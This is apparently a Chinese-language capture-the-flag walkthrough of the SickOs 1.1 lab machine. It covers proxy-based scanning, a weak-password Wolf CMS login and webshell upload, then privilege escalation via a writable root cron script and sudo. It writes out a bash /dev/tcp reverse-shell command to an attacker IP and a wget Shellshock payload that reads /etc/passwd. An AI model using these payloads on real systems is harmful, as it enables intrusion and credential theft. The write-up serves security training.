项目12:SickOs1.1
##Nmap信息收集
---存活主机发现:192.168.95.180

---全端口扫描,开启了22,3128,8080端口
---思路:通过3128访问squid代理间接访问8080端口收集用户名和密码,然后ssh登陆

---争对端口进行版本扫描,验证了之前的猜测

##代理访问8080
---方法1:火狐浏览器插件:SwitchyOmega

---访问靶机,源码也是这个,没有什么信息

---方法2:使用扫描工具自带的代理(dirb/nikto/awvs/xray/wpscan都自带代理)
---这里扫描除了robots.txt文件

---方法3:直接使用proxychains和proxytunnel隧道代理
---修改:vi /etc/proxychains4.conf

---emmmm我这里不知道为什么被拒绝(3128>80按道理没有错)

---通过nikto自带的代理进行扫描:
---1.发现robots.txt以及/icron/readme敏感文件
---2.通过/#wp-config.php猜测是WordPress的CMS
---3./cgi-bin/status目录(apache下的一个目录文件)下存在cve2014-6278(存在shellshork)
---4./?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000会泄露PHP环境(显示phpinfo)

##Web漏洞信息收集
---首先查看phpInfo:/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
---这里没有发现有用信息,但是可以使用cwel进行拆词成字典,然后爆破ssh

---访问 robots.txt, 发现一个目录:/wolfcms

---这里发现是一个:Wolf.cms,但是不知道是什么版本的CMS
---Wolf CMS 是一个轻量级的 CMS 系统,包含一组插件,支持每页定制,灵活的页面内容和可重用的片段(CMS肯定存在后台登陆,大部分CMS都是插件漏洞和后台漏洞)

---谷歌搜索exp,这里存在一个:文件上传漏洞

---在searchexploit搜索,会发现一些exp

---随意找一个exp,查看exp中URL的路径
---发现管理员的路径因该是 /wolfcms/?/admin(而且网站的路由因该是:/wolfcms/?/ )

---尝试访问,发现一个管理员登陆窗口

---可以根据路由规则,采用dirb爆破 ?/ 之后的路径

---尝试弱口令admin/admin登陆(注意:遇到登陆界面首选弱口令)
---常见弱口令:Username:admin/administrator/root
---Password:admin/password/passwd/123456等等
---登陆进去发现CMS的版本是0.8.2

---Kail搜索,发现存在2个文件上传漏洞
---这里是一个漏洞,只是一个是php的马子,一个是MSF框架的rb的马子

---查看网站的文件上传点

##文件上传获取WebShell
---方法1:php-reverse-shell.php大马
---修改php-reverse-shell.php大马的反弹IP

---直接上传,发现没有一点限制

---文件上传的地址是/wolfcms/public目录

----直接getshell

---方法2:PHP命令执行一句话(区分assert/eval()等代码执行一句话)
---修改为1.php然后上传访问,进行命令执行(这里需要执行bash反弹才行)

----方法3:PHP脚本通过socket进行反弹/bin/sh
---写入2.php然后浏览器访问,kail接受到反弹shell

##内网信息枚举
---内核和发现版本信息,比较老版本的x86系统,基本是系统漏洞通杀

---下载linpeas.sh进行信息收集

---查看系统信息,发现系统漏洞
---sudo 在【1.8.2,1.8.31】之间,可以尝试CVE-2021-3156进行Sudo版本漏洞提权

---存在nc以及python、php、以及gcc等软件

---mysql是不是root权限,无法进行UDF提权,计划任务是root可以尝试提权

---发现一个1000以上的用户,存在sudo权限,可以尝试sudo提权

---ssh允许远程root登陆,而且在靶机发现了SSH的私钥

---总结思路:1)系统提权 2)sudo版本提权 3)SSH登陆sickos用户 4)计划任务提权
##SSH登陆sickos用户进行SUDO提权
---先尝试获取数据库密码,发现是:john@123

---进入user表发现只有一个admin用户,但是我们已经通过弱口令直到密码为admin

---查看mysql.user下的用户名和密码,A7开头的因该是john@123
---尝试破解一下debian-sys-maint的密码:
CB98094782C386F2459D65D97B17D1DE15D1654B

---hash-identifier识别,发现是SHA1加密,按道理可以破解

---但是没有破解除了

---直接尝试:sickos(用户名也可以通过/etc/passwd获取) / john@123 进行SSH登陆
---sudo -l 发现所有的操作均具有SUdo权限

---直接sudo su就可以进入root用户

---当然也可以在sickos用户的根目录查看bash的历史记录,看有没有登陆其它用户的密码

##计划任务提权
---在web的根目录/var/www目录下,存在一个python文件(不是我们上传的)
---而且是777权限,也就是说其它用户可以修改

---这里也可以使用
---find / -name "*cron*" 2>/dev/null搜索计划任务
----主要是/etc目录和/var目录下/var/spool/cron

---在/var/spool/cron目录下,存在各个用户的计划任务,但是我们没有权限查看

---这里发现在/etc/cron.d目录下,存在automate每分钟以root执行connect.py文件

---当然,也可以使用grep命令

---也可以搜索:其它用户具有写入权限,然后当前用户是root,并且具有执行权限
---由于connect.py是其它用户具有写入权限,可以通过Nano修改写入反弹shell的python语句
##拓展shellshock
---nikto发现:/cgi-bin/status
---访问:10.211.55.39/cgi-bin/status发现是一个json的数据格式
---显示分别是:uptime、uname -a的信息

---在靶机执行命令
14:36:52
:当前的系统时间。up 7 days, 21:15
:系统已经运行了7天又21小时15分钟。3 users
:当前有3个用户登录到系统。load average: 0.12, 0.20, 0.25
:这是系统的平均负载情况,分别表示1分钟、5分钟和15分钟的平均负载。负载平均值越低,通常表示系统运行较为轻松;负载平均值较高可能表示系统资源紧张

#Shellshock(bash版本过低导致环境变量被当成环境函数执行,进而系统命令执行)
---漏洞范围:bash版本<=4.3
- CVE-2014-6271(爆出漏洞)和CVE-2014-6278 (打了补丁任然存在漏洞)是在 Linux 发行版中常用的Bash命令shell 中发现的一个严重漏洞
---以“(){” 开头的环境变量在ENV中解析成函数后,Bash未退出而是继续解析并执行shell命令。而其核心的原因:在于在输入过滤中没有严格限制边界,也没有做出合法化的参数判断。

---这里bash的版本4.2.25是小于4.3,所以存在ShellShock

--本地验证方法:
---在靶机验证,直接输出test

---什么是CGI:
---CGI(Common Gateway Interface)是用于在Web服务器上运行外部程序的标准接口
---它允许Web服务器将用户的HTTP请求传递给一个外部程序(脚本或可执行文件),并将该程序的输出作为HTTP响应返回给客户端。这使得在Web服务器上执行动态内容和交互式操作成为可能,从而实现更加丰富和复杂的网页功能
---然而,随着时间的推移,出于性能和安全性的考虑,CGI在大多数情况下已经被其他技术取代,如FastCGI、mod_php、ASP.NET、Node.js等。这些技术通常能够更高效地处理动态内容,而不会像CGI那样每次请求都启动一个新的进程或线程
---项目九payload:
---一般来说Bash允许将shell函数导出到服务器上其他的bash实例中,是通过使用函数定义(ENV_VAR_FN)创建一个环境变量来完成的:
---ENV_VAR_FN是在bash实例中执行命令的函数,所以构造payload:
---当执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量处理
---由于这里需要squid进行代理,所以不能使用burp,而是使用curl
---使用x:代理 ,-H 自定义头部信息
----在网站的根目录下写入dayu文件,检测(这里前提因该是:要知道当前目录才行)
---执行如下

---浏览器访问IP的根目录,发现存在shellshock漏洞

---拿一个bash反弹shell的命令
/bin/bash -i
: 这是在靶机上启动一个交互式的Bash Shell的命令>& /dev/tcp/192.168.95.152/9999
: 这部分使用了Bash的I/O重定向功能。它将Shell的标准输出(stdout)和标准错误输出(stderr)都重定向到一个指定的网络地址和端口。具体来说:
>&
: 表示将(kail)标准输出和标准错误都重定向。/dev/tcp/192.168.95.152/9999
: 这是一个特殊的设备文件路径,它指定了一个TCP连接到指定的IP地址(192.168.95.152)和端口号(9999)。这意味着命令的输出会被发送到这个IP地址和端口上0>&1
: 这部分将标准输入(stdin)也重定向到标准输出(stdout)。这样,网络连接就可以通过标准输入输出与Shell进行交互。
---构建shellshock的payload进行反弹shell
---kail监听9999端口,发现成功反弹Shell

##wget走代理执行命令下载
wget -qO-
: 这部分使用wget
命令来下载指定URL的内容,并将内容输出到标准输出。-q
参数表示“quiet”模式,不显示冗余信息。-O-
参数表示将下载的内容输出到标准输出。-U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"
: 这是一个HTTP头的构造,-U --user-agent=构造的ShellShock命令执行()
:这是Shellshock漏洞的关键部分,这个特殊的语法会被解释为定义一个Shell函数。{ test;}
:在Shellshock漏洞中,攻击者可以在函数定义后面附加命令,这里的test
是一个命令的占位符。echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"
:在Shell函数定义后,紧跟着构造了一个HTTP响应头(告诉客户端响应的内容是纯文本,不需要进行特殊的处理,比如HTML解析。在攻击者构造的恶意命令中,这部分HTTP头用于伪装成一个正常的HTTP响应,但实际上是为了利用漏洞执行恶意操作。),然后利用/bin/cat /etc/passwd
命令读取/etc/passwd
文件的内容。-e use_proxy=yes -e http_proxy=192.168.95.180:3128
: 这两个参数用于设置wget
使用代理服务器来下载内容。攻击者将代理服务器设置为192.168.95.180
的IP地址和3128
端口(-e ----运行命令,execute=命令)http://127.0.0.1/cgi-bin/status
: 这是要下载内容的URL,攻击者将wget
定向到这个URL。
---效果如下(这里也可以进行反弹Shell)

##Kail自带的ShellShock的exp
---searchexploit shellshock(apche的远程命令注入)

--查看34900.py
---这里要传参靶机的IP和端口,Kail的IP和端口,代理,cgi的URL,正向SheLL和反弹Shell
---构建脚本执行
---执行效果如下(注意:自己会开启555端口,不需要nc监听):

##/cgi-bin/存在ShellShock的原因分析
---root登陆,在/usr/lib/cgi-bin目录下stauts是cgi-bin的源码

---直接cat,就是:1.浏览器以json的格式解析 2、进行uptime和uname -a的命令执行(反斜杠是系统命令执行)
---这里使用tar进行压缩成.tar.gz文件,进行代码审计
-c
: 表示创建新的归档文件。-z
: 表示使用gzip压缩。

##知识点总结:
----1.Nmap主机发现、全端口扫描、版本扫描
---2.代理访问Squid:proxychannel、proxytunnel、浏览器插件、自带代理的扫描器(AWVS)
---3.dirb和nikoto扫描发现敏感文件和漏洞:1.敏感文件和目录 2.phpinfo访问 3.shellshock
---4.根据robots发现/wolfcms,根据exploit-db和浏览器发现文件上传目录和登陆目录
---5./wolfcms的弱口令登陆,获取CMS版本,发现exp进行文件上传
---6.文件上传的方式:一句话系统命令执行、php-revere-shell.php、PHP反弹Shell脚本
---7.内网信息枚举:linpeas.sh:系统漏洞、sudo版本漏洞、/etc/passwd发现Sudo用户、计划任务(/etc/cron.d/automate)下文件(/var/www/connect.py)可以写入
---8.查看网站的config文件获取数据库用户和系统用户密码,然后SSH登陆sudo权限用户提权
---9.nano修改计划任务文件connect.py进行反弹shell、移动/bin/bash到/tmp、修改/etc/passwd或者/etc/sudoers、chmod u+s如find等命令执行命令
---10.shellshock的两个Cve,以及bash版本小于4.3,apache然后GCI的web目录/cgi-bin/status/以及工作原理
---11.GCI结合shellshock,通过referer、cookie或者user-agent传递exp,借助cur通-x设置代理,-H构造数据头部走代理,或者wget -U构造shellshock的exp,注意需要说明"Content-type: text/plain\"伪造解析格式,通过-e执行wget的命令设置代理
---12.kail自带的ShellShock的python2脚本,可以正向/反向Shell,还可以设置代理
---13.Apache的/cgi-bin/原理:cat /usr/lib/cgi-bin/status,就是执行系统命令,然后返回固定的数据格式让浏览器进行解析
----14.利用tar -cz进行文件目录打包,进行代码审计
